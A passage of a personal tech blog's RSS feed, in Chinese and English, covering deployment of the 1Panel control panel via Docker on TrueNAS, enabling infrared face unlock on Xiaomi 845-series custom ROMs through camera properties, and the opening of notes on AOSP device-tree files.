&lt;p&gt;环境变量和镜像作者的设置相同，传入&lt;code&gt;TZ=Asia/Shanghai&lt;/code&gt;；端口映射根据需要自行设置即可，容器内端口为&lt;strong&gt;10086&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;Docker Compose&lt;/h3&gt;
&lt;p&gt;有了上述信息，编写docker compose就容易许多了。&lt;br /&gt;
完整Docker Compose文件如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  1panel:
    dns:
      - 223.5.5.5
    environment:
      - TZ=Asia/Shanghai
    image: moelin/1panel:latest
    labels:
      createdBy: Apps
    ports:
      - &apos;8085:10086&apos;
    restart: always
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - /mnt/.ix-apps/docker:/var/lib/docker
      - /mnt/systemdata/DockerData/1panel/opt:/opt/1panel
      - /mnt/systemdata/DockerData/1panel/root:/root
      - /etc/docker:/etc/docker
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里映射&lt;code&gt;/root&lt;/code&gt;是因为我需要在容器内运行Git，而Git config存储在/root下；&lt;br /&gt;
设置dns是因为1Panel制作环境镜像的时候需要连网下载数据，不指定dns会报错。&lt;/p&gt;
&lt;p&gt;安装完成后访问你设置的端口即可。&lt;/p&gt;
&lt;p&gt;1Panel基础信息:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;默认账户：&lt;code&gt;1panel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;默认密码：&lt;code&gt;1panel_password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;默认入口：&lt;code&gt;entrance&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;故障处理&lt;/h1&gt;
&lt;h2&gt;Docker镜像源&lt;/h2&gt;
&lt;p&gt;实际测试的时候发现如果不设置镜像源，即使配置了Proxy，在安装PHP环境的时候也会报错~~，并且配置了镜像源同时配置了Proxy也会安装失败，不清楚为什么~~&lt;br /&gt;
打开TrueNAS的&lt;code&gt;/etc/docker/daemon.json&lt;/code&gt;并添加registry-mirrors：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
	&quot;data-root&quot;: &quot;/mnt/.ix-apps/docker&quot;,
	&quot;default-address-pools&quot;: [
		{
			&quot;base&quot;: &quot;172.17.0.0/12&quot;,
			&quot;size&quot;: 24
		}
	],
	&quot;exec-opts&quot;: [
		&quot;native.cgroupdriver=cgroupfs&quot;
	],
	&quot;iptables&quot;: true,
	&quot;registry-mirrors&quot;: [
		&quot;https://docker.1panel.live&quot;
	],
	&quot;storage-driver&quot;: &quot;overlay2&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存，重启主机docker，再去1Panel里安装环境。&lt;/p&gt;
&lt;p&gt;:::warning
这一步的配置重启后会丢失，尽量一次性安装好环境和需要的app
:::&lt;/p&gt;
&lt;h2&gt;1Panel创建的容器无法启动&lt;/h2&gt;
&lt;p&gt;这个是因为在1Panel中，默认存储数据的文件夹是我们所映射出来的&lt;code&gt;/opt/1panel&lt;/code&gt;，但是实际上创建的容器运行在TrueNAS里，访问的是TrueNAS里不存在的&lt;code&gt;/opt/1panel&lt;/code&gt;，并且其/opt默认是只读的，因此在启动容器的时候会报错Read-only filesystem。&lt;/p&gt;
&lt;p&gt;我自己的解决方案也很简单粗暴，在TrueNAS主机中先挂载/opt为可读写，再创建一个软链接指向1Panel的数据文件夹。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /opt
mount -o remount,rw /opt
ln -s /mnt/systemdata/DockerData/1panel/opt 1panel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以正常使用啦&lt;/p&gt;
&lt;p&gt;有一个需要注意的点，在1Panel中安装OpenResty时记得避开使用80和443端口，这俩是TrueNAS的webui默认端口&lt;/p&gt;
</content:encoded></item><item><title>Installing 1Panel Using Docker on TrueNAS</title><link>https://blog.iyoroy.cn/posts/en-28/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-28/</guid><description>Running 1Panel in Docker on TrueNAS to manage the host&apos;s Docker service, with notes on directory mappings, registry mirrors, and container startup failures.</description><pubDate>Fri, 07 Mar 2025 05:18:00 GMT</pubDate><content:encoded>&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;My TrueNAS has some performance headroom, so I&apos;m thinking of deploying a web service. I want to install a control panel to reduce manual work. Considering the performance overhead of virtual machines, the high memory requirements for ZFS cache, and the fact that the NAS itself isn&apos;t very powerful, I decided to use Docker for deployment. Furthermore, since 1Panel itself is distributed as a Docker image, both systems controlling the TrueNAS host&apos;s Docker daemon is essentially equivalent to deploying websites directly on the TrueNAS host, making management easier.&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;p&gt;:::warning
This article assumes TrueNAS can access Docker Hub and the Docker daemon is already configured.
:::&lt;/p&gt;
&lt;h2&gt;Environment Information&lt;/h2&gt;
&lt;h3&gt;Storage Pool&lt;/h3&gt;
&lt;p&gt;There are two storage pools:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;/mnt/data&lt;/code&gt;: 1 x MIRROR | 2 wide | 2.73 TiB | HDD&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/mnt/systemdata&lt;/code&gt;: 1 x DISK | 1 wide | 223.57 GiB | SSD&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Docker data is stored in storage pool #2.&lt;/p&gt;
&lt;h3&gt;Datasets&lt;/h3&gt;
&lt;p&gt;There are three datasets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Storage: Located in the &lt;code&gt;data&lt;/code&gt; storage pool, stores cold data.&lt;/li&gt;
&lt;li&gt;DockerData: Located in the &lt;code&gt;systemdata&lt;/code&gt; storage pool, stores persistent data for containers.&lt;/li&gt;
&lt;li&gt;KaguraiYoRoy: Located in &lt;code&gt;systemdata&lt;/code&gt;, the user&apos;s home directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Installing 1Panel&lt;/h2&gt;
&lt;p&gt;Used the &lt;strong&gt;moelin/1panel:latest&lt;/strong&gt; image for deployment. Many parts of this process can refer to the README written by the image author. Project address: &lt;a href=&quot;https://github.com/okxlin/docker-1panel&quot;&gt;okxlin/docker-1panel&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Created a folder specifically for storing 1Panel data within the DockerData dataset, which is used as &lt;code&gt;/opt/1panel&lt;/code&gt; inside the container, located at &lt;code&gt;/mnt/systemdata/DockerData/1panel&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Persistent Volumes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;To allow 1Panel to manage the host&apos;s Docker, map &lt;code&gt;/var/run/docker.sock&lt;/code&gt; and the host&apos;s Docker directory.&lt;/li&gt;
&lt;li&gt;Map the data folder created for it earlier.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Docker directory in TrueNAS is different from typical Linux systems. Typically, it&apos;s at &lt;code&gt;/var/lib/docker&lt;/code&gt;, but in TrueNAS, it&apos;s at &lt;code&gt;/mnt/.ix-apps/docker&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Environment Variables and Port Mapping&lt;/h3&gt;
&lt;p&gt;The environment variables are the same as those set by the image author, passing &lt;code&gt;TZ=Asia/Shanghai&lt;/code&gt;. Port mapping can be set as needed; the container&apos;s port is &lt;strong&gt;10086&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Docker Compose&lt;/h3&gt;
&lt;p&gt;With the above information, writing the Docker Compose file becomes straightforward.&lt;br /&gt;
The complete Docker Compose file is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  1panel:
    dns:
      - 223.5.5.5
    environment:
      - TZ=Asia/Shanghai
    image: moelin/1panel:latest
    labels:
      createdBy: Apps
    ports:
      - &apos;8085:10086&apos;
    restart: always
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - /mnt/.ix-apps/docker:/var/lib/docker
      - /mnt/systemdata/DockerData/1panel/opt:/opt/1panel
      - /mnt/systemdata/DockerData/1panel/root:/root
      - /etc/docker:/etc/docker
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mapping &lt;code&gt;/root&lt;/code&gt; is because I need to run Git inside the container, and Git config is stored under /root.&lt;br /&gt;
Setting DNS is because 1Panel needs to download data online when building environment images, and errors occur without specifying DNS.&lt;/p&gt;
&lt;p&gt;After installation, access the port you set.&lt;/p&gt;
&lt;p&gt;1Panel Basic Information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Default Username: &lt;code&gt;1panel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Default Password: &lt;code&gt;1panel_password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Default Entrance: &lt;code&gt;entrance&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;Troubleshooting&lt;/h1&gt;
&lt;h2&gt;Docker Mirror&lt;/h2&gt;
&lt;p&gt;During testing, it was found that without setting a mirror source, even with a Proxy configured, installing the PHP environment would fail. &lt;s&gt;Furthermore, configuring both a mirror source and a Proxy also led to installation failure; the reason is unclear.&lt;/s&gt;
Open &lt;code&gt;/etc/docker/daemon.json&lt;/code&gt; on TrueNAS and add registry-mirrors:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
	&quot;data-root&quot;: &quot;/mnt/.ix-apps/docker&quot;,
	&quot;default-address-pools&quot;: [
		{
			&quot;base&quot;: &quot;172.17.0.0/12&quot;,
			&quot;size&quot;: 24
		}
	],
	&quot;exec-opts&quot;: [
		&quot;native.cgroupdriver=cgroupfs&quot;
	],
	&quot;iptables&quot;: true,
	&quot;registry-mirrors&quot;: [
		&quot;https://docker.1panel.live&quot;
	],
	&quot;storage-driver&quot;: &quot;overlay2&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save the file, restart the host&apos;s Docker service, then try installing the environment in 1Panel again.&lt;/p&gt;
&lt;p&gt;:::warning
This configuration might be lost after a reboot. Try to install all necessary environments and apps in one go if possible.
:::&lt;/p&gt;
&lt;h2&gt;Containers Created by 1Panel Fail to Start&lt;/h2&gt;
&lt;p&gt;This is because in 1Panel, the default folder for storing data is the mapped &lt;code&gt;/opt/1panel&lt;/code&gt;. However, the containers actually run on the TrueNAS host and try to access &lt;code&gt;/opt/1panel&lt;/code&gt;, which doesn&apos;t exist on TrueNAS by default, and its &lt;code&gt;/opt&lt;/code&gt; is read-only by default. This causes a &quot;Read-only filesystem&quot; error when starting containers.&lt;/p&gt;
&lt;p&gt;My solution is straightforward: On the TrueNAS host, first remount /opt as read-write, then create a symbolic link pointing to 1Panel&apos;s data folder.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /opt
mount -o remount,rw /opt
ln -s /mnt/systemdata/DockerData/1panel/opt 1panel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After this, it should work normally.&lt;/p&gt;
&lt;p&gt;One thing to note: When installing OpenResty in 1Panel, remember to avoid using ports 80 and 443, as these are the default ports for the TrueNAS web UI.&lt;/p&gt;
</content:encoded></item><item><title>小米845系列机器类原生调用红外摄像头进行人脸识别</title><link>https://blog.iyoroy.cn/posts/26/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/26/</guid><description>排查小米 845 系列设备在类原生 ROM 下无法使用红外人脸识别的问题，分析 Camera ID、辅助摄像头访问限制和 ParanoidSense 属性配置。</description><pubDate>Thu, 06 Mar 2025 14:57:00 GMT</pubDate><content:encoded>&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;小米845系列的小米8、小米8屏幕指纹版有一颗前置红外摄像头用于面部识别，这样即使在无光的环境下仍可以使用面部解锁。然而如果使用LineageOS的设备树不加修改编译出来的类原生无法使用红外摄像头，只能使用普通的摄像头，而PixelExperience的设备树是可以的，故探究其原因。&lt;/p&gt;
&lt;h1&gt;原因&lt;/h1&gt;
&lt;h2&gt;CameraID&lt;/h2&gt;
&lt;p&gt;首先是需要指定人脸识别模块使用红外摄像头。翻阅PixelExperience的相关设备树源码可以发现：在overlay中设置了调用&lt;code&gt;CameraID&lt;/code&gt;为&lt;strong&gt;5&lt;/strong&gt;的摄像头用作人脸识别。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/PixelExperience-Devices/device_xiaomi_dipper/blob/fourteen/overlay/packages/apps/FaceUnlockService/app/src/main/res/values/config.xml&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;
&amp;lt;resources&amp;gt;
    &amp;lt;integer name=&quot;override_front_cam_id&quot;&amp;gt;5&amp;lt;/integer&amp;gt;
    &amp;lt;bool name=&quot;use_alternative_vendor_impl&quot;&amp;gt;true&amp;lt;/bool&amp;gt;
&amp;lt;/resources&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PixelExperience使用的是motorola的人脸解锁方案，而现在很多类原生使用的是AOSPA的ParanoidSense，因此上述设置的overlay并不适用。&lt;/p&gt;
&lt;p&gt;查阅ParanoidSense源码可以看到：使用了&lt;strong&gt;Properties属性&lt;/strong&gt;&lt;code&gt;ro.face.sense_service.camera_id&lt;/code&gt;标识使用的摄像头。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/AOSPA/android_packages_apps_ParanoidSense/blob/uvite/src/co/aospa/sense/camera/CameraUtil.kt#L32&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;    val cameraIdProp = SystemProperties.get(&quot;ro.face.sense_service.camera_id&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此理论上只要设置&lt;code&gt;ro.face.sense_service.camera_id&lt;/code&gt;属性为5即可使其调用红外人脸摄像头。&lt;/p&gt;
&lt;h2&gt;vendor.camera.aux.packagelist属性&lt;/h2&gt;
&lt;p&gt;如果仅仅设置上述CameraID相关属性，那么人脸模块调用时会直接报错。翻阅Frameworks部分的代码可以得知：系统默认隐藏了除主前摄和主后摄之外的其他辅助摄像头（即AUXCamera），而红外摄像头也属于AUXCamera之一。&lt;/p&gt;
&lt;p&gt;取LineageOS的Framework代码作为例子：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/LineageOS/android_frameworks_base/blob/lineage-21.0/core/java/android/hardware/Camera.java#L295-L301&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;    /**
     * Returns the number of physical cameras available on this device.
     * The return value of this method might change dynamically if the device
     * supports external cameras and an external camera is connected or
     * disconnected.
     *
     * If there is a
     * {@link android.hardware.camera2.CameraCharacteristics#REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA
     * logical multi-camera} in the system, to maintain app backward compatibility, this method will
     * only expose one camera per facing for all logical camera and physical camera groups.
     * Use camera2 API to see all cameras.
     *
     * @return total number of accessible camera devices, or 0 if there are no
     *   cameras or an error was encountered enumerating them.
     */
    public static int getNumberOfCameras() {
        int numberOfCameras = _getNumberOfCameras();
        if (!shouldExposeAuxCamera() &amp;amp;&amp;amp; numberOfCameras &amp;gt; 2) {
            numberOfCameras = 2;
        }
        return numberOfCameras;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不难看出，即使设备有大于2颗摄像头，若函数&lt;code&gt;shouldExposeAuxCamera()&lt;/code&gt;返回为False则会强制指定摄像头数量为2，阻止程序访问CameraID&amp;gt;2的摄像头；再来看看这个判断函数的定义：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/LineageOS/android_frameworks_base/blob/lineage-21.0/core/java/android/hardware/Camera.java#L264-L278&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;    /**
     * @hide
     */
    public static boolean shouldExposeAuxCamera() {
        /**
         * Force to expose only two cameras
         * if the package name does not falls in this bucket
         */
        String packageName = ActivityThread.currentOpPackageName();
        if (packageName == null)
            return true;
        List&amp;lt;String&amp;gt; packageList = Arrays.asList(
                SystemProperties.get(&quot;vendor.camera.aux.packagelist&quot;, packageName).split(&quot;,&quot;));
        List&amp;lt;String&amp;gt; packageExcludelist = Arrays.asList(
                SystemProperties.get(&quot;vendor.camera.aux.packageexcludelist&quot;, &quot;&quot;).split(&quot;,&quot;));

        return packageList.contains(packageName) &amp;amp;&amp;amp; !packageExcludelist.contains(packageName);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出，假如包名在属性&lt;code&gt;vendor.camera.aux.packagelist&lt;/code&gt;中并且不在&lt;code&gt;vendor.camera.aux.packageexcludelist&lt;/code&gt;中就会返回为True，否则False。&lt;/p&gt;
&lt;p&gt;那么解决方案就很明了了：将ParanoidSense的包名加到vendor.camera.aux.packagelist属性中即可让其能够调用到红外摄像头。&lt;/p&gt;
&lt;h1&gt;解决&lt;/h1&gt;
&lt;p&gt;将ParanoidSense的包名&lt;code&gt;co.aospa.sense&lt;/code&gt;加到&lt;code&gt;vendor.camera.aux.packagelist&lt;/code&gt;中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/YoriInstitute/crDroidAndroid_device_xiaomi_sdm845-common/commit/28fe5bc41d49b31b4acb840bf167b70d70a40c61&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;设置&lt;code&gt;ro.face.sense_service.camera_id&lt;/code&gt;属性以指定摄像头：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/YoriInstitute/crDroidAndroid_device_xiaomi_equuleus/commit/67518f130650e4592b5f4c7210248072058d48cc&lt;/li&gt;
&lt;li&gt;https://github.com/YoriInstitute/AOSPA_device_xiaomi_equuleus/blob/topaz/device.mk#L397-L399&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在crDroid魔改的ParanoidSense中，因指定了其位于system_ext（https://gitlab.com/crdroidandroid/android_packages_apps_FaceUnlock/-/commit/545688260eb32ba19f348e84e3cae89ba29f20d1），故将这个属性加到system_ext的prop文件中。&lt;/p&gt;
</content:encoded></item><item><title>Using Infrared Camera for Face Recognition on Xiaomi 845 Series with Custom ROMs</title><link>https://blog.iyoroy.cn/posts/en-26/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-26/</guid><description>Investigating infrared face unlock on Xiaomi Snapdragon 845 devices running custom ROMs, including camera IDs, auxiliary camera access, and ParanoidSense properties.</description><pubDate>Thu, 06 Mar 2025 14:57:00 GMT</pubDate><content:encoded>&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;The Xiaomi 845 series, specifically the Mi 8 and Mi 8 Pro (UDFPS), feature a dedicated front-facing infrared camera for facial recognition. This enables facial unlock functionality even in complete darkness. However, when using a custom ROM like LineageOS compiled from its standard device tree, the infrared camera remains inaccessible, forcing the system to rely on the standard front camera. Interestingly, PixelExperience ROMs successfully utilize this hardware. This article explores the reasons behind this discrepancy and outlines the solution.&lt;/p&gt;
&lt;h1&gt;The Cause&lt;/h1&gt;
&lt;h2&gt;CameraID&lt;/h2&gt;
&lt;p&gt;The first step is directing the face recognition module to use the infrared camera. Examining the PixelExperience device tree source code reveals an overlay that configures the face unlock service to use the camera with ID &lt;code&gt;5&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/PixelExperience-Devices/device_xiaomi_dipper/blob/fourteen/overlay/packages/apps/FaceUnlockService/app/src/main/res/values/config.xml&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;
&amp;lt;resources&amp;gt;
    &amp;lt;integer name=&quot;override_front_cam_id&quot;&amp;gt;5&amp;lt;/integer&amp;gt;
    &amp;lt;bool name=&quot;use_alternative_vendor_impl&quot;&amp;gt;true&amp;lt;/bool&amp;gt;
&amp;lt;/resources&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PixelExperience uses Motorola&apos;s face unlock solution. Many other custom ROMs, however, utilize AOSPA&apos;s ParanoidSense. Therefore, the PixelExperience overlay method isn&apos;t directly applicable.&lt;/p&gt;
&lt;p&gt;Inspecting the ParanoidSense source code shows that it uses a system property, &lt;code&gt;ro.face.sense_service.camera_id&lt;/code&gt;, to identify which camera to use.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/AOSPA/android_packages_apps_ParanoidSense/blob/uvite/src/co/aospa/sense/camera/CameraUtil.kt#L32&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;    val cameraIdProp = SystemProperties.get(&quot;ro.face.sense_service.camera_id&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thus, in theory, simply setting the &lt;code&gt;ro.face.sense_service.camera_id&lt;/code&gt; property to 5 should direct it to the infrared camera.&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;vendor.camera.aux.packagelist&lt;/code&gt; Property&lt;/h2&gt;
&lt;p&gt;Merely setting the CameraID property is insufficient; the face unlock module would simply fail to access the camera. Delving into the Android framework code reveals that the system, by default, hides auxiliary cameras (AuxCameras) beyond the primary front and rear cameras. The infrared camera falls into this AuxCamera category.&lt;/p&gt;
&lt;p&gt;Using LineageOS framework code as an example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/LineageOS/android_frameworks_base/blob/lineage-21.0/core/java/android/hardware/Camera.java#L295-L301&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;    /**
     * Returns the number of physical cameras available on this device.
     * The return value of this method might change dynamically if the device
     * supports external cameras and an external camera is connected or
     * disconnected.
     *
     * If there is a
     * {@link android.hardware.camera2.CameraCharacteristics#REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA
     * logical multi-camera} in the system, to maintain app backward compatibility, this method will
     * only expose one camera per facing for all logical camera and physical camera groups.
     * Use camera2 API to see all cameras.
     *
     * @return total number of accessible camera devices, or 0 if there are no
     *   cameras or an error was encountered enumerating them.
     */
    public static int getNumberOfCameras() {
        int numberOfCameras = _getNumberOfCameras();
        if (!shouldExposeAuxCamera() &amp;amp;&amp;amp; numberOfCameras &amp;gt; 2) {
            numberOfCameras = 2;
        }
        return numberOfCameras;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As shown, even if a device has more than two cameras, if the &lt;code&gt;shouldExposeAuxCamera()&lt;/code&gt; function returns False, the system reports only two cameras, preventing access to any camera with an ID greater than &lt;code&gt;1&lt;/code&gt;. Let&apos;s examine this function:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/LineageOS/android_frameworks_base/blob/lineage-21.0/core/java/android/hardware/Camera.java#L264-L278&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;    /**
     * @hide
     */
    public static boolean shouldExposeAuxCamera() {
        /**
         * Force to expose only two cameras
         * if the package name does not falls in this bucket
         */
        String packageName = ActivityThread.currentOpPackageName();
        if (packageName == null)
            return true;
        List&amp;lt;String&amp;gt; packageList = Arrays.asList(
                SystemProperties.get(&quot;vendor.camera.aux.packagelist&quot;, packageName).split(&quot;,&quot;));
        List&amp;lt;String&amp;gt; packageExcludelist = Arrays.asList(
                SystemProperties.get(&quot;vendor.camera.aux.packageexcludelist&quot;, &quot;&quot;).split(&quot;,&quot;));

        return packageList.contains(packageName) &amp;amp;&amp;amp; !packageExcludelist.contains(packageName);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The logic is clear: if the current application&apos;s package name is listed in the &lt;code&gt;vendor.camera.aux.packagelist&lt;/code&gt; system property and is not in the &lt;code&gt;vendor.camera.aux.packageexcludelist&lt;/code&gt; property, the function returns &lt;code&gt;True&lt;/code&gt;, allowing access to auxiliary cameras.&lt;/p&gt;
&lt;p&gt;The solution becomes evident: add the ParanoidSense package name (&lt;code&gt;co.aospa.sense&lt;/code&gt;) to the &lt;code&gt;vendor.camera.aux.packagelist&lt;/code&gt; property.&lt;/p&gt;
&lt;h1&gt;The Solution&lt;/h1&gt;
&lt;p&gt;Add the ParanoidSense package name &lt;code&gt;co.aospa.sense&lt;/code&gt; to the &lt;code&gt;vendor.camera.aux.packagelist&lt;/code&gt; property:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/YoriInstitute/crDroidAndroid_device_xiaomi_sdm845-common/commit/28fe5bc41d49b31b4acb840bf167b70d70a40c61&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Set the &lt;code&gt;ro.face.sense_service.camera_id&lt;/code&gt; property to specify the correct camera ID:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/YoriInstitute/crDroidAndroid_device_xiaomi_equuleus/commit/67518f130650e4592b5f4c7210248072058d48cc&lt;/li&gt;
&lt;li&gt;https://github.com/YoriInstitute/AOSPA_device_xiaomi_equuleus/blob/topaz/device.mk#L397-L399&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the crDroid-modified version of ParanoidSense, which is placed in the &lt;code&gt;system_ext&lt;/code&gt; partition (refer: &lt;a href=&quot;https://gitlab.com/crdroidandroid/android_packages_apps_FaceUnlock/-/commit/545688260eb32ba19f348e84e3cae89ba29f20d1&quot;&gt;https://gitlab.com/crdroidandroid/android_packages_apps_FaceUnlock/-/commit/545688260eb32ba19f348e84e3cae89ba29f20d1&lt;/a&gt;), this property should be added to the corresponding &lt;code&gt;system_ext&lt;/code&gt; prop file.&lt;/p&gt;
</content:encoded></item><item><title>简述对AOSP设备树中的一些文件和概念的理解</title><link>https://blog.iyoroy.cn/posts/23/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/23/</guid><description>整理编译 Android ROM 时对设备树的理解，涉及 Android.bp、各类 Makefile、prop、overlay、SELinux 策略和 vendor blob 提取文件。</description><pubDate>Mon, 03 Feb 2025 03:58:00 GMT</pubDate><content:encoded>&lt;p&gt;:::warning
以下内容很大一部分是我个人对设备树中一些概念的理解，并非官方定义的概念，如有错误欢迎指正
:::&lt;/p&gt;
&lt;p&gt;设备树所共有的内容大致分为以下几类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Android.bp&lt;/li&gt;
&lt;li&gt;各种Makefile，后缀.mk&lt;/li&gt;
&lt;li&gt;prop文件，后缀.prop&lt;/li&gt;
&lt;li&gt;overlay，放在overlay文件夹中&lt;/li&gt;
&lt;li&gt;sepolicy，即SELinux规则，放在sepolicy文件夹中&lt;/li&gt;
&lt;li&gt;manifest.xml和FCM（framework_compatibility_manifest.xml）&lt;/li&gt;
&lt;li&gt;extract-files.py、setup-makefiles.py和proprietary-files.txt&lt;/li&gt;
&lt;li&gt;.dependencies结尾的依赖文件&lt;/li&gt;
&lt;li&gt;其他各种配置&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Android.bp&lt;/h1&gt;
&lt;p&gt;这是AOSP构建系统Ninja的配置文件，设备树对它的依赖不大（主要内容都放在Android.mk和其他Makefile里了），一般用于引入其他的&lt;strong&gt;soong_namespace&lt;/strong&gt;，以引用其他文件夹下的Modules。此处以LineageOS的socrates设备树为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//
// Copyright (C) 2024 The LineageOS Project
//
// SPDX-License-Identifier: Apache-2.0
//

soong_namespace {
    imports: [
        &quot;hardware/xiaomi&quot;,
    ],
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处声明导入了&lt;strong&gt;hardware/xiaomi&lt;/strong&gt;下的namespace，这样使得&lt;code&gt;PRODUCT_PACKAGES&lt;/code&gt;可以引用到hardware/xiaomi中的项目&lt;/p&gt;
&lt;h1&gt;Makefile&lt;/h1&gt;
&lt;h2&gt;Android.mk&lt;/h2&gt;
&lt;p&gt;这个文件定义了整个设备树的入口（应该是），还是以socrates为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#
# Copyright (C) 2024 The LineageOS Project
#
# SPDX-License-Identifier: Apache-2.0
#

LOCAL_PATH := $(call my-dir)

ifeq ($(TARGET_DEVICE),socrates)
include $(LOCAL_PATH)/vendor-symlinks.mk
include $(call all-subdir-makefiles,$(LOCAL_PATH))

include $(CLEAR_VARS)
# A/B builds require us to create the mount points at compile time.
# Just creating it for all cases since it does not hurt.
FIRMWARE_MOUNT_POINT := $(TARGET_OUT_VENDOR)/firmware_mnt
$(FIRMWARE_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo &quot;Creating $(FIRMWARE_MOUNT_POINT)&quot;
	@mkdir -p $(TARGET_OUT_VENDOR)/firmware_mnt

BT_FIRMWARE_MOUNT_POINT := $(TARGET_OUT_VENDOR)/bt_firmware
$(BT_FIRMWARE_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo &quot;Creating $(BT_FIRMWARE_MOUNT_POINT)&quot;
	@mkdir -p $(TARGET_OUT_VENDOR)/bt_firmware

DSP_MOUNT_POINT := $(TARGET_OUT_VENDOR)/dsp
$(DSP_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo &quot;Creating $(DSP_MOUNT_POINT)&quot;
	@mkdir -p $(TARGET_OUT_VENDOR)/dsp

ALL_DEFAULT_INSTALLED_MODULES += $(FIRMWARE_MOUNT_POINT) $(BT_FIRMWARE_MOUNT_POINT) $(DSP_MOUNT_POINT)
endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出，如果&lt;code&gt;TARGET_DEVICE&lt;/code&gt;等于&lt;strong&gt;socrates&lt;/strong&gt;，编译系统才会继续引用这个文件夹下的所有Makefile，并会在此定义一些挂载点。&lt;/p&gt;
